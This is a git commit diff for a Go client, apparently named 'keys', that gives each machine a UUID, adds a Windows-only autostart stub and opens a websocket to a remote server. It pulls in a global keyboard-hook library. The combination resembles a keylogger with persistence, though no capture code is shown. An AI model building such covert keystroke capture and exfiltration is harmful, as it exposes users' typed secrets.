🚧 Adds id to websocket call
This commit is contained in:
parent
36f698991d
commit
b955fec1ad
9
client/config.go
Normal file
9
client/config.go
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import "github.com/google/uuid"
|
||||||
|
|
||||||
|
func getId() uuid.UUID {
|
||||||
|
return uuid.New()
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerAutostart() {}
|
@ -3,6 +3,7 @@ module svitan.dev/keys/client
|
|||||||
go 1.24.1
|
go 1.24.1
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
github.com/google/uuid v1.6.0
|
||||||
github.com/gorilla/websocket v1.5.3
|
github.com/gorilla/websocket v1.5.3
|
||||||
github.com/robotn/gohook v0.42.0
|
github.com/robotn/gohook v0.42.0
|
||||||
)
|
)
|
||||||
|
@ -1,3 +1,5 @@
|
|||||||
|
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||||
|
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
|
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
|
||||||
|
@ -1,8 +1,10 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
|
"runtime"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
@ -19,14 +21,18 @@ const (
|
|||||||
REG_END = 255
|
REG_END = 255
|
||||||
)
|
)
|
||||||
|
|
||||||
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
var id = getId()
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
registerAutostart()
|
||||||
|
}
|
||||||
|
|
||||||
|
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}
|
||||||
var conn *websocket.Conn
|
var conn *websocket.Conn
|
||||||
var err error
|
var err error
|
||||||
var tries = 0
|
var tries = 0
|
||||||
for {
|
for {
|
||||||
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
|
conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
tries += 1
|
tries += 1
|
||||||
if tries >= 3 {
|
if tries >= 3 {
|
||||||
|
Loading…
x
Reference in New Issue
Block a user